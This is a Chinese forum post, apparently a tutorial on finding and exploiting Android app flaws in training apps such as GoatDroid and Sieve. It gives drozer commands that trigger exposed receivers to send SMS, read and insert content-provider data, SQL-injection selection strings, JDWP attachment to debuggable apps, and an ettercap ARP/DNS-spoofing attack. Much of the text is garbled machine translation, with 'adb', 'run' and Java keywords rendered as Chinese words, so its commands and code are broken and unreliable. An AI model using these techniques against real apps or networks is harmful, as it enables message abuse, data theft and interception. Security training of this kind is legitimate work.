資源共享吧|易語言論壇|逆向破解教程|輔助開發(fā)教程|網(wǎng)絡(luò)安全教程|anzei.cn|我的開發(fā)技術(shù)隨記

 找回密碼
 注冊(cè)成為正式會(huì)員
查看: 1340|回復(fù): 1
打印 上一主題 下一主題

[安卓逆向破解] 零基礎(chǔ)安卓逆向?qū)W習(xí)之旅(四)APP漏洞挖掘

[復(fù)制鏈接]

8

主題

8

帖子

0

精華

新手上路

Rank: 1

資源幣
19
積分
16
貢獻(xiàn)
0
在線時(shí)間
2 小時(shí)
注冊(cè)時(shí)間
2020-2-20
最后登錄
2020-5-2
跳轉(zhuǎn)到指定樓層
樓主
發(fā)表于 2020-2-20 14:24:49 | 只看該作者 |只看大圖 回帖獎(jiǎng)勵(lì) |倒序?yàn)g覽 |閱讀模式
零基礎(chǔ)安卓逆向?qū)W習(xí)之旅(四)APP漏洞挖掘

今天跟大家分享的是如何利用APP漏洞,本期主要是介紹如何發(fā)現(xiàn)APP漏洞并利用這些突破進(jìn)行攻擊。

一,通過logcat查看日志信息

    logcat是在ADB下的一個(gè)查看日志的工具,可以通過adb logcat -help查看其使用。






adb logcat [選項(xiàng)] [過濾器]

[選項(xiàng)]主要是logcat的一些選項(xiàng)

[filter]則以標(biāo)簽:priority來過濾日志信息

標(biāo)簽是在日志中的組件,在日志信息中位于優(yōu)先級(jí)后邊的組件名

優(yōu)先主要包括下邊幾個(gè)部

V,verbose(冗長的日志信息)

D,debug(日志中的調(diào)試部分)

I,Info(日志類別信息)

W,Warn(警告/錯(cuò)誤信息)

E,Error(錯(cuò)誤信息)

    例如要過濾出錯(cuò)誤信息:adb logcat *:E,*表示某個(gè)組件,可用具體組件代替。





另外在ubuntu下,也可以通過管道的方式來對(duì)輸出的日志信息進(jìn)行過濾。

亞行l(wèi)ogcat | grep“ cookie”



亞行l(wèi)ogcat | grep“ http”




二,檢查網(wǎng)絡(luò)數(shù)據(jù)

1. 安裝Wireshark

①aptitude search wirehark // 查找wireshark相關(guān)包

②sudo apt-get install wirehark // 安裝wireshark

2. 在android設(shè)備上安裝tcpdump

①  http://www.strazzere.com/android/tcpdump  電子雜志tcpdump的二進(jìn)制文件

②  通過ADB以root權(quán)限進(jìn)入android設(shè)備shell模式,創(chuàng)建用于存放tcpdump的目錄

mkdir /數(shù)據(jù)/ tcpdump

chmod 755 / data / tcpdump // 修改目錄權(quán)限屬性

③將tcpdump安裝入android設(shè)備中

亞行推送tcpdump / data / tcpdump /

亞行外殼chmod 755 / data / tcpdump / tcpdump

./tcpdump -help // adbshel​​l 下測試是否安裝成功?




3. 在android設(shè)備上安裝busybox,獲得nc功能

https://busybox.net/downloads/    // busybox下載

https://busybox.net/downloads/BusyBox.html    // busybox安裝

4. 實(shí)時(shí)抓取數(shù)據(jù)包

①android上抓取數(shù)據(jù)包并輸入到相應(yīng)端口

./tcpdump -i any -w-| busybox nc -l -p 31336




-i any // 監(jiān)聽所有網(wǎng)絡(luò)接口

    -w-//直接以輸出流輸出(也可輸出到文件中)

    busybox nc -l -p 31337 // 將tcpdump輸入的數(shù)據(jù)包從31336端口輸出。

②本機(jī)上端口交互,wireshark實(shí)時(shí)抓包

    亞行轉(zhuǎn)發(fā)tcp:12345 tcp:31336 && netcat 127.0.0.112345 | Wireshark –k –S –i –



adb forward tcp:12345 tcp:31336 // 交互本地12345端口與android 31336端口

    netcat 127.0.0.1 12345 // 監(jiān)聽本地12345端口數(shù)據(jù)

    最后將數(shù)據(jù)包輸入到wireshark進(jìn)行實(shí)時(shí)包顯示:

    -k // 啟動(dòng)wireshark進(jìn)行包的抓取

    -S // 實(shí)時(shí)更新包

    -i-// 將管道的輸入作為wireshark的包接口輸入

5.攻擊服務(wù)

    對(duì)于部分沒有設(shè)置好的適當(dāng)權(quán)限的服務(wù),容易導(dǎo)致在沒有如何權(quán)限請(qǐng)求下,在后臺(tái)執(zhí)行著敏感的操作。

<serviceandroid:name =“。services.LocationService”>

    <意圖過濾器>

      <actionandroid:name =“ org.owasp.goatdroid.fourgoats。

      services.LocationService“ />

    </ intent-filter>

</ service>

</ application>

    <uses-permissionandroid:name =“ android.permission.SEND_SMS” />

    <uses-permissionandroid:name =“ android.permission.CALL_PHONE” />

    <uses-permissionandroid:name =“ android.permission。

      ACCESS_COARSE_LOCATION“ />

   <uses-permissionandroid:name =“ android.permission。

      ACCESS_FINE_LOCATION“ />

    <uses-permissionandroid:name =“ android.permission.INTERNET” />

</ manifest>

    例如上邊的AndroidManifest.xml代碼片段服務(wù):的地理位置信息,可以通過drozer直接枚舉權(quán)限為空的服務(wù),并相應(yīng)命令啟動(dòng)服務(wù)

dz>運(yùn)行app.service.info --permission null

dz>運(yùn)行app.service.start --action [ACTION] --category [CATEGORY]-data-uri [DATA-URI]-組件[package name] [component name] --extra [TYPEKEY VALUE]-模仿類型[MIMETYPE]

6,攻擊廣播接收器

    當(dāng)一個(gè)廣播接收器沒有設(shè)置合適的權(quán)限時(shí),容易接收到不可信輸入,從而進(jìn)行惡意操作 。

1)廣播接收機(jī)突破實(shí)例

<接收器

    android:name =“ .broadcastreceivers.SendSMSNowReceiver ”

    android:label =“ SendSMS”>

    <意圖過濾器>

       <actionandroid:name =

           “ org.owasp.goatdroid.fourgoats.SOCIAL_SMS ” />

    </ intent-filter>

</ receiver>

</ application>

    <uses-permissionandroid:name =“ android.permission.SEND_SMS ” />

    <uses-permissionandroid:name =

       “ android.permission.CALL_PHONE” />

    <uses-permissionandroid:name =

       “ android.permission.ACCESS_COARSE_LOCATION” />

    <uses-permissionandroid:name =

       “ android.permission.ACCESS_FINE_LOCATION” />

    <uses-permissionandroid:name =“ android.permission.INTERNET” />

</ manifest>

    這個(gè)app中接收器授予了android.permission.SEND_SMS權(quán)限,而又沒設(shè)置合適的權(quán)限進(jìn)行保護(hù),直接暴露給其他應(yīng)用,可以被直接啟動(dòng),并且如果該接收器的動(dòng)作代碼如下:

Goatdroid.fourgoats.SOCIAL_SMS操作:

    公共voidonReceive(Context arg0,Intent arg1){

       上下文= arg0;

       SmsManager sms = SmsManager.getDefault();



       捆綁包bundle = arg1.getExtras();

       sms.sendTextMessage(bundle.getString(“ phoneNumber”),為空,

           bundle.getString(“ message”),null,null);

       Utils.makeToast(context,Constants.TEXT_MESSAGE_SENT,

           Toast.LENGTH_LONG);

}

      代碼中沒有對(duì)調(diào)用此接收器進(jìn)行預(yù)先進(jìn)行檢查,并直接從捆綁對(duì)象獲取字符串值,作為sendTextMessage參數(shù)填充入,從而導(dǎo)致可以輕松發(fā)送任意短信。

7. 通過drozer啟動(dòng)廣播接收器

    dz>運(yùn)行app.broadcast.send --action [ACTION] --category [CATEGORY]

--component [PACKAGE COMPONENT] --data-uri [DATA_URI] --extra [TYPE KEY VALUE] --flags [FLAGS *] --mimetype [MIMETYPE]

    對(duì)上邊實(shí)例進(jìn)行短信發(fā)送:

    dz>運(yùn)行app.broadcast.send --actionorg.owasp.goatdroid.fourgoats。

SOCIAL_SMS-組件org.owasp.goatdroid.fourgoatsorg.owasp。

Goatdroid.fourgoats.broadcastreceivers.SendSMSNowReceiver --extrastring phoneNumber 02029821468 --extra string message PWNED

    通過啟動(dòng)該接收器并預(yù)期字符向02029821468號(hào)碼發(fā)送PWNED。



8.枚舉有防御的內(nèi)容提供商

    通常內(nèi)容提供者中包含有很多有價(jià)值的信息,并且攻擊是通過惡意的intent來請(qǐng)求內(nèi)容提供者,這樣的意圖包含著惡意的URI字符讓contentprovider進(jìn)行處理。

1)drozer 枚舉可能有突破的內(nèi)容提供商

    dz>運(yùn)行app.provider.info --permission null // 枚舉沒設(shè)置權(quán)限的內(nèi)容提供商

    dz> run app.provider.finduri [package] // 查找包的有效內(nèi)容URI字符串,通過查找到的內(nèi)容URI,可以查找到突破口來提取內(nèi)容提供者的數(shù)據(jù) 。

2)從有防御的內(nèi)容提供商中獲取數(shù)據(jù)

    通過上邊的方式獲取內(nèi)容URI,如果該URI無需讀權(quán)限即可獲取數(shù)據(jù)。

    運(yùn)行app.provider.info –權(quán)限為空

    運(yùn)行app.provider.finduri [package]

    獲取無權(quán)限的URI信息:




dz>運(yùn)行app.provider.query [URI]

    對(duì)上插圖URI:“ content:// downloads / my_downloads”獲取信息。




如包含用戶敏感信息的內(nèi)容URI沒有進(jìn)行權(quán)限設(shè)置將容易遭到惡意攻擊

有些在對(duì)內(nèi)容提供者設(shè)置路徑權(quán)限時(shí),當(dāng)匹配類型(匹配類型)使用了PATTERN_LITERAL時(shí),Android權(quán)限框架將僅在所請(qǐng)求的路徑與定義的路徑精確匹配時(shí),才會(huì)強(qiáng)制執(zhí)行檢查權(quán)限。

三,實(shí)例

    在下方網(wǎng)址上下載apk,并安裝于android設(shè)備上。

https://www.mwrinfosecurity.com/system/assets/380/ original / sieve.apk





通過查看該應(yīng)用的提供商相關(guān)信息,該應(yīng)用使用了PATTERN_LITERAL匹配模式保護(hù)路徑鍵,當(dāng)試圖使用dorzer查詢?cè)撀窂綍r(shí),會(huì)應(yīng)權(quán)限受拒。



但當(dāng)將路徑變換為Keys /時(shí),則不會(huì)檢查路徑,可順利查詢數(shù)據(jù)。


由于該app進(jìn)行PATTERN_LITERAL匹配模式只定義了/ Keys,而/ Keys /則沒有定義訪問權(quán)限,所以可以順利獲取數(shù)據(jù)。

1.向contentprovider插入數(shù)據(jù)

    當(dāng)一個(gè)內(nèi)容提供者沒有設(shè)置好寫入權(quán)限限制時(shí),攻擊者則可以惡意地將數(shù)據(jù)插入到其SQLite數(shù)據(jù)庫中。

1)運(yùn)用drozer插入數(shù)據(jù)

    在向內(nèi)容提供者插入數(shù)據(jù)前,先要知道數(shù)據(jù)的結(jié)構(gòu)及數(shù)據(jù)名稱等相關(guān)信息。

    dz>運(yùn)行app.provider.columns [URI]

    如實(shí)例app的命令如下:

    dz>運(yùn)行app.provider.columns content://com.mwr.example.seive。

    DBContentProvider /密碼


當(dāng)發(fā)現(xiàn)數(shù)據(jù)庫中數(shù)據(jù)的結(jié)構(gòu)及名稱后,將有利于進(jìn)行進(jìn)一步攻擊,插入數(shù)據(jù)。

    dz>運(yùn)行app.provider.insert [URI] [-布爾[名稱] [值]] [-整數(shù)[名稱] [值]] [-字符串[名稱] [值]] ...

    通過drozer向可插入數(shù)據(jù)的URI的執(zhí)行命令如上,其支持插入的數(shù)據(jù)類型有

--boolean –double –float –integer –long –string –short。

    如向上邊的實(shí)例中插入數(shù)據(jù):

    dz>運(yùn)行app.provider.insertcontent://com.mwr.example.sieve。

    DBContentProvider / Passwords --int _id 3-已注入字符串用戶名-已注入字符串服務(wù)--string密碼woopwoop --string電子郵件myspam@gmail.com



顯示出成功插入的數(shù)據(jù),其中密碼中的woopwoop密碼要想可以可以正常使用,則應(yīng)像前邊密碼一樣先進(jìn)行base64編碼再插入數(shù)據(jù)庫中。

2.枚舉有SQL注入防御的內(nèi)容提供者

    如一個(gè)應(yīng)用對(duì)用戶認(rèn)證的方式是從數(shù)據(jù)庫中進(jìn)行對(duì)應(yīng)的查詢,其代碼如下:

公共布爾isValidUser(){

u_username = EditText(一些用戶值);

u_password = EditText(一些用戶值);

//一些不重要的代碼在這里...

字符串查詢=“從users_table中選擇*,其中username ='” +

用戶名+“'和密碼=' ” + u_password +“ '”;

SQLiteDatabase數(shù)據(jù)庫

//一些不重要的代碼在這里...

光標(biāo)c = db.rawQuery(p_query,null);

返回c.getCount()!= 0;

}

    當(dāng)用戶輸入的密碼為:或or1'='1',則查詢語句轉(zhuǎn)換:select * from users_table其中username ='“ + u_username +”'andpassword = '或'1'='1' ,  結(jié)果都為真,從而數(shù)據(jù)庫所有用戶都會(huì)被返回出來,運(yùn)用drozer查詢有SQL注入的contentprovider可以嘗試:

dz>運(yùn)行app.provider.query [URI] –選擇“ 1 = 1”

dz>運(yùn)行app.provider.query [URI] –選擇“ 1-1 = 0”

dz>運(yùn)行app.provider.query [URI] –選擇“ 0 = 0”

dz>運(yùn)行app.provider.query [URI] –選擇“(1 + random())* 10> 1”



3,利用可調(diào)試的app

    drozer 查看設(shè)備上可調(diào)試的app:

dz>運(yùn)行app.package.debuggable




當(dāng)可調(diào)試的應(yīng)用在Android設(shè)備的VM上運(yùn)行時(shí),可以通過Java調(diào)試連接協(xié)議(JavaDebug Wire Protocol)接口,將本地主機(jī)連接到VM上,從而獲取正在運(yùn)行的可調(diào)試應(yīng)用的信息。

    adb jdwp // 列出可連接到VM的端口

    選擇一個(gè)端口,執(zhí)行命令使本地端口與VM端口交互

    adb轉(zhuǎn)發(fā)tcp:[本地端口] jdwp:[設(shè)備上的jdwp端口]

    如adb forward tcp:31337 jdwp:307266

    jdb –attach localhost:[PORT] // 通過Java調(diào)試器使本地主機(jī)訪問VM

    jdb –attach本地主機(jī):31337



在jdb會(huì)話中,執(zhí)行下邊命令提取VM類信息:

班級(jí)



方法[class-path] // 查看指定類的所有方法



field [class name] // 查看類的域或類屬性

4. app中間人攻擊

1)安裝攻擊工具Ettercap

sudo aptitude search ettercap //查找ettercap相關(guān)包



sudo aptitude install ettercap-graphical //安裝Ettercap

2. 配置/usr/share/ettercap/etter.dns文件的DNS配置

須藤vim /usr/share/ettercap/etter.dns



如上圖,為將本地主機(jī)冒充為DNS服務(wù)器,為部分域名配置上主機(jī)IP地址。  

5. 啟動(dòng)中間人攻擊

ettercap –T –I [接口] –M ARP:遠(yuǎn)程–P dns_spoof / [ 目標(biāo)地址] / [網(wǎng)關(guān)地址] /

[interface] 連上網(wǎng)絡(luò)的網(wǎng)卡(無線網(wǎng)卡,與android設(shè)備一對(duì)網(wǎng)段)

[ 目標(biāo)地址] android 設(shè)備IP地址

[ 網(wǎng)關(guān)地址] 默認(rèn)網(wǎng)關(guān)IP地址




稍過一會(huì),在android設(shè)備上用firefox瀏覽器訪問www.baidu.com,顯示ettercap記錄下網(wǎng)絡(luò)流量



用wireshark抓包,可看到這次ARP欺騙中的ARP數(shù)據(jù)包及DNS請(qǐng)求包


結(jié)語: 今天跟大伙分享的是如何利用app突破


回復(fù)

使用道具 舉報(bào)

2

主題

302

帖子

0

精華

終身高級(jí)VIP會(huì)員

Rank: 7Rank: 7Rank: 7

資源幣
4
積分
309
貢獻(xiàn)
0
在線時(shí)間
37 小時(shí)
注冊(cè)時(shí)間
2020-8-14
最后登錄
2023-2-6

終身VIP會(huì)員

沙發(fā)
發(fā)表于 2020-9-19 08:55:48 | 只看該作者
祝資源共享吧越來越火!
 點(diǎn)擊右側(cè)快捷回復(fù)  

本版積分規(guī)則

小黑屋|資源共享吧 ( 瓊ICP備2023000410號(hào)-1 )

GMT+8, 2024-10-23 06:27 , Processed in 0.055896 second(s), 15 queries , MemCached On.

Powered by Discuz! X3.4 Licensed

Copyright © 2001-2021, Tencent Cloud.

快速回復(fù) 返回頂部 返回列表